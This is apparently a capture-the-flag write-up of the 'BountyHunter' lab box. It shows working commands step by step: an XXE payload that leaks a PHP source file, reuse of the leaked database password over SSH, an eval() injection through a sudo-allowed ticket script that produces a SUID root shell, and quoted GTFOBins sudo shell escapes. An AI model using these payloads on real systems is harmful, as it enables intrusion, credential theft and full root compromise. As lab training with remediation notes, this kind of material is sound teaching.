BountyHunter
Summary
I exploited an XML External Entity injection vulnerability in a web-based bug-bounty submission form to force the server's PHP XML parser to read an internal source file via a PHP stream filter. The plaintext database password recovered from that file was reused verbatim as the SSH password for the 'development' OS account, granting an interactive shell.
Post-login enumeration revealed a NOPASSWD sudo rule permitting 'development' to run a Python ticket-validation script as root; that script passed my own ticket data directly into Python's eval(), enabling trivial command injection that yielded full root access.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <base64-blob-from-response>, <bugreport>, <cvss>, <cwe>, <reward> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Discover PHP endpoints; reveals tracker_diRbPr00f314.php.
$ gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt -x php,htmlProbe the endpoint to confirm it accepts and processes base64-encoded POST data.
$ curl -s -X POST http://$TARGET/tracker_diRbPr00f314.php --data 'data=dGVzdA==' -vExact commands 2
Send XXE payload; the title field in the response contains the base64-encoded db.php source.
$ python3 -c "
import base64, requests
url='http://$TARGET/tracker_diRbPr00f314.php'
xml='<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/var/www/html/db.php\">]><bugreport><title>&xxe;</title><cwe>79</cwe><cvss>1</cvss><reward>1</reward></bugreport>'
r=requests.post(url,data={'data':base64.b64encode(xml.encode()).decode()})
print(r.text)
"Decode the leaked file to reveal plaintext PHP including the hardcoded database password.
$ echo '<base64-blob-from-response>' | base64 -dFixDisable XML External Entity processing in the bug-bounty trackerCritical
Exact commands 1
Confirm the DB password authenticates as the 'development' OS account; expect uid=1000.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null development@$TARGET idFixEliminate hardcoded credentials and password reuse between application config and OS accountsCritical
Exact commands 3
Open interactive SSH session as 'development'.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null development@$TARGETRead user flag -> <user.txt>.
$ cat /home/development/user.txtList sudo privileges; reveals the NOPASSWD ticketValidator.py rule.
$ sudo -lExact commands 2
Confirms NOPASSWD rule for ticketValidator.py.
$ sudo -l
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.pyRead the script; locate the line that calls eval() on the extracted ticket code string.
$ cat /opt/skytrain_inc/ticketValidator.pyExact commands 4
Create the malicious ticket; numeric wrapper (11+...+200) satisfies eval return type; os.system() executes as root.
$ cat > /tmp/root_ticket.md <<'EOF'
# Skytrain Inc
## Ticket to Root
__Ticket Code:__
**11+__import__('os').system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')+200
EOFFeed the ticket path to the validator running under sudo; eval() executes the injected payload as root.
$ printf '/tmp/root_ticket.md\n' | sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.pyLaunch SUID bash copy; -p preserves effective UID (root).
$ /tmp/rootbash -pRead root flag -> <root.txt>.
$ cat /root/root.txtFixRemove the NOPASSWD sudo rule for ticketValidator.py and eliminate eval() of user inputCritical
Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.